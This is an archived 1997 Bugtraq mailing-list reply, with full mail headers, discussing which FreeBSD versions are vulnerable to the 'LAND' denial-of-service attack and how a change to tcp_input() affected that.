[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
MAA32640 for <[email protected]>; Mon, 24 Nov 1997 12:03:32 -0500
Received: from [email protected] (port 8523 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80824-30842>; Mon, 24 Nov 1997
12:03:28 -0500
Approved-By: [email protected]
Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21])
by netspace.org (8.8.7/8.8.2) with ESMTP id UAA13990 for
<[email protected]>; Fri, 21 Nov 1997 20:25:03 -0500
Received: from sunrise.gv.tsc.tdk.com ([email protected]
[192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.4/8.8.4) with ESMTP
id RAA07711; Fri, 21 Nov 1997 17:24:50 -0800 (PST)
Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by
sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id RAA28081; Fri, 21
Nov 1997 17:24:49 -0800 (PST)
Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id
RAA16213; Fri, 21 Nov 1997 17:24:48 -0800 (PST)
X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95)
Message-Id: <[email protected]>
Date: Fri, 21 Nov 1997 17:24:48 -0800
Reply-To: Don Lewis <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Don Lewis <[email protected]>
Subject: Re: "LAND" Attack Update
X-To: Aleph One <[email protected]>
To: [email protected]
In-Reply-To: Aleph One <[email protected]> "Re: "LAND" Attack Update" (Nov 21,
1:22pm)
Status:
On Nov 21, 1:22pm, Aleph One wrote:
} Subject: Re: "LAND" Attack Update
} We keep getting conflicting reports for FreeBSD and OpenBSD. The are
} enough reports and indications that those operating systems are indeed
} vulnerable but the vulnerabilitiy may not show up in all configurations
} depending on the enviroment, the intensity of cosmic rays, the phase of
} the moon, and if the testing person is left or right handed.
In the case of FreeBSD, there was a change made to its tcp_input()
implementation in October 1996 which probably has the side effect of
protecting against this attack. This change was removed in early October
1997 because it caused problems if spoofed SYN's with the source addresses
of legitimate hosts (other than the victim) were sent to it.
It looks to me like FreeBSD 2.2.2 should not be vulnerable unless it has
an updated version of tcp_input.c. I believe FreeBSD 2.2.5 is vulnerable.
A single attack packet may or may not cause the problem to occur, depending
on the TCP sequence numbers.
